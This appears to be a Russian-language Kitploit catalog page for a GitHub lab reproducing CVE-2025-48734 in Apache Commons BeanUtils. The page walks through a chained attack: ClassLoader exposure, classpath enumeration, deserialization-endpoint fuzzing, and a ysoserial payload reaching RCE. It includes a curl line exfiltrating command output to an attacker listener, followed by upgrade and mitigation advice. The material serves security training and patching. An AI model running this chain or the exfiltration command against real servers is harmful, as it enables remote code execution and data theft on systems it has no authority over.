Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-48734 — CVE-2025-48734 - Влияет на Apache Commons BeanUtils в версиях до 1.11.0 (и ветки 2.x до 2.0.0-M2). | Kitploit
Инструменты/GitHubGitHub/h3raklez/cve-2025-48734
РазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubh3raklez/cve-2025-48734

CVE-2025-48734

CVE-2025-48734 - Влияет на Apache Commons BeanUtils в версиях до 1.11.0 (и ветки 2.x до 2.0.0-M2).

Репозиторий
476 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-48734: Apache Commons BeanUtils – утечка информации о declaringClass через enum и цепочка RCE

Только для образовательных целей и авторизованных исследований безопасности.

Этот репозиторий предоставляет контролируемую лабораторную среду для воспроизведения уязвимости CVE-2025-48734 в Apache Commons BeanUtils и изучения того, как злоумышленник может при определенных условиях повысить привилегии до удаленного выполнения кода (RCE).


📖 Описание уязвимости

CVE-2025-48734 затрагивает Apache Commons BeanUtils в версиях до 1.11.0 (и ветку 2.x до 2.0.0-M2). Проблема заключается в том, что PropertyUtilsBean разрешает доступ к свойству declaringClass Java-перечислений через вложенные пути (например, enum.declaringClass). Все перечисления наследуют метод getDeclaringClass() от java.lang.Enum, который BeanUtils предоставляет как навигационное свойство.

Злоумышленник, который может контролировать путь свойства в вызовах getProperty() или getNestedProperty(), может:

  • Получить ссылку на ClassLoader приложения (через enum.declaringClass.classLoader).
  • Перечислить все JAR-файлы, загруженные во время выполнения, перебирая classLoader.URLs[n].
  • Повысить привилегии до RCE, если приложение имеет небезопасную конечную точку десериализации и уязвимую библиотеку гаджетов в своем classpath.

⚠️ Важно: Уязвимость сама по себе не дает прямого RCE. Она предоставляет доступ к ClassLoader и позволяет перечислять classpath, что должно быть объединено с небезопасной конечной точкой десериализации и уязвимой библиотекой гаджетов для выполнения кода. См. раздел Подробный анализ эксплуатации.

Оценка CVSS: 8.8 (Высокая) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H


🧪 Лабораторная среда

Инфраструктура

Лаборатория состоит из двух компонентов:

  • Debian VM — запускает уязвимое приложение Spring Boot.
  • Kali VM — запускает инструменты атаки.

Уязвимое приложение (Debian)

Сервис Spring Boot, предоставляющий следующие конечные точки:

  • GET /api/property?path=<property-path> — читает вложенное свойство с помощью PropertyUtilsBean.getNestedProperty() без санитизации. Это точка входа CVE.
  • GET /api/nested-set?path=<path>&value=<value> — записывает вложенные свойства (также уязвимо).
  • POST /api/data/import — принимает необработанные сериализованные объекты Java (application/octet-stream) и десериализует их без проверки. Это вектор доставки RCE.

Целевой bean — объект Order, содержащий перечисление Status. Это позволяет построить цепочку status.declaringClass.classLoader.

Примечание: Конечная точка /api/data/import не является частью CVE-2025-48734. Она включена для имитации реалистичного сценария, когда уязвимая конечная точка десериализации сосуществует с CVE. В реальном приложении такой тип конечных точек встречается в устаревших интеграциях, внутренних API или неправильно настроенном промежуточном программном обеспечении.

Уязвимые зависимости

БиблиотекаВерсияРоль в цепочке
commons-beanutils1.9.4Точка входа CVE-2025-48734
commons-collections3.2.2Цепочка гаджетов десериализации

⚙️ Быстрая настройка

Debian VM

chmod +x setup-lab-debian.sh
./setup-lab-debian.sh

Скрипт устанавливает зависимости, компилирует проект, регистрирует его как службу systemd и автоматически запускает. Приложение прослушивает порт 0.0.0.0:8080.

Kali VM

chmod +x kali-lab-tools.sh
./kali-lab-tools.sh <debian_ip> 8080

Скрипт устанавливает зависимости и загружает ysoserial.


💀 Полная цепочка атаки

Эксплойт полностью автоматизирован в одном скрипте, который обеспечивает правильный порядок фаз. Каждая фаза является обязательной для следующей.

cd ~/lab-tools
./exploit.sh <debian_ip> 8080 '<command>'

Фаза 1 — Разведка CVE-2025-48734

Скрипт проверяет status.declaringClass и status.declaringClass.classLoader. Если какое-либо из них заблокировано, скрипт прерывается — приложение исправлено, и цепочка не может быть продолжена.

GET /api/property?path=status.declaringClass
→ "status": "success", "valueClass": "java.lang.Class"

GET /api/property?path=status.declaringClass.classLoader
→ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"

Фаза 2 — Перечисление classpath через CVE

Используя ссылку на ClassLoader, полученную на фазе 1, скрипт перебирает classLoader.URLs[n], чтобы перечислить все загруженные JAR-файлы, и ищет Commons Collections 3.x. Если не найдено, скрипт прерывается — цепочка гаджетов недоступна.

GET /api/property?path=status.declaringClass.classLoader.URLs[0]
→ jar:file:/…/BOOT-INF/classes!/

GET /api/property?path=status.declaringClass.classLoader.URLs[30]
→ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/

Фаза 3 — Обнаружение конечной точки десериализации

После подтверждения цепочки гаджетов скрипт фаззит распространенные конечные точки импорта/синхронизации, отправляя магические байты Java-сериализации (0xACED0005), и идентифицирует конечные точки, пытающиеся выполнить ObjectInputStream.readObject(), по их шаблону ответа. Если конечная точка не найдена, скрипт прерывается.

POST /api/data/import (magic bytes)
→ HTTP 200 — endpoint found

Фаза 4 — Генерация и доставка полезной нагрузки

ysoserial генерирует полезную нагрузку CommonsCollections6 (наиболее портативную для Java 11+) и отправляет ее на обнаруженную конечную точку.

POST /api/data/import
Content-Type: application/octet-stream
Body: <ysoserial CommonsCollections6 payload>

→ {"status": "success", "class": "java.util.HashSet"}

Фаза 5 — RCE подтвержден

Команда выполняется на сервере во время десериализации, до возврата ответа. Вывод может быть извлечен путем перенаправления в файл или через HTTP-колбэк:

# Write to file
./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
# Then on Debian: cat /tmp/out.txt
# → uid=0(root) gid=0(root) groups=0(root)

# Exfiltrate via HTTP (listener on Kali)
python3 -m http.server 9000
./exploit.sh <ip> 8080 'curl http://<kali_ip>:9000/$(id)'

🔍 Почему CVE-2025-48734 является обязательным условием для RCE?

CVE не является прямым вектором RCE — это разведывательный элемент, который делает возможной остальную часть цепочки:

Without CVE-2025-48734:
  → No ClassLoader access
  → No classpath enumeration
  → No way to confirm Commons Collections 3.x is present
  → No reason to look for a deserialization endpoint
  → Chain broken at the start

With CVE-2025-48734:
  → ClassLoader exposed
  → Full classpath visible via URLs[n]
  → Commons Collections 3.x confirmed
  → Deserialization endpoint discovered via fuzzing
  → RCE achieved

Три условия, которые должны совпасть для полного RCE:

УсловиеЭта лабораторияРеальный мир
BeanUtils < 1.11.0 с нефильтрованным вводом пути✅Часто встречается в устаревших приложениях
Библиотека гаджетов в classpath (CC 3.x)✅Часто встречается в корпоративной Java
Небезопасная конечная точка десериализации✅Менее распространено, но присутствует в устаревших/промежуточных интеграциях

🛡️ Смягчение и исправление

Исправление CVE-2025-48734

Обновите Commons BeanUtils:

АртефактУязвимая версияБезопасная версия
commons-beanutils:commons-beanutils< 1.11.0>= 1.11.0
org.apache.commons:commons-beanutils2< 2.0.0-M2>= 2.0.0-M2

В pom.xml:

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.11.0</version>
</dependency>

Исправление небезопасной десериализации

Два взаимодополняющих смягчения:

Скачать инструмент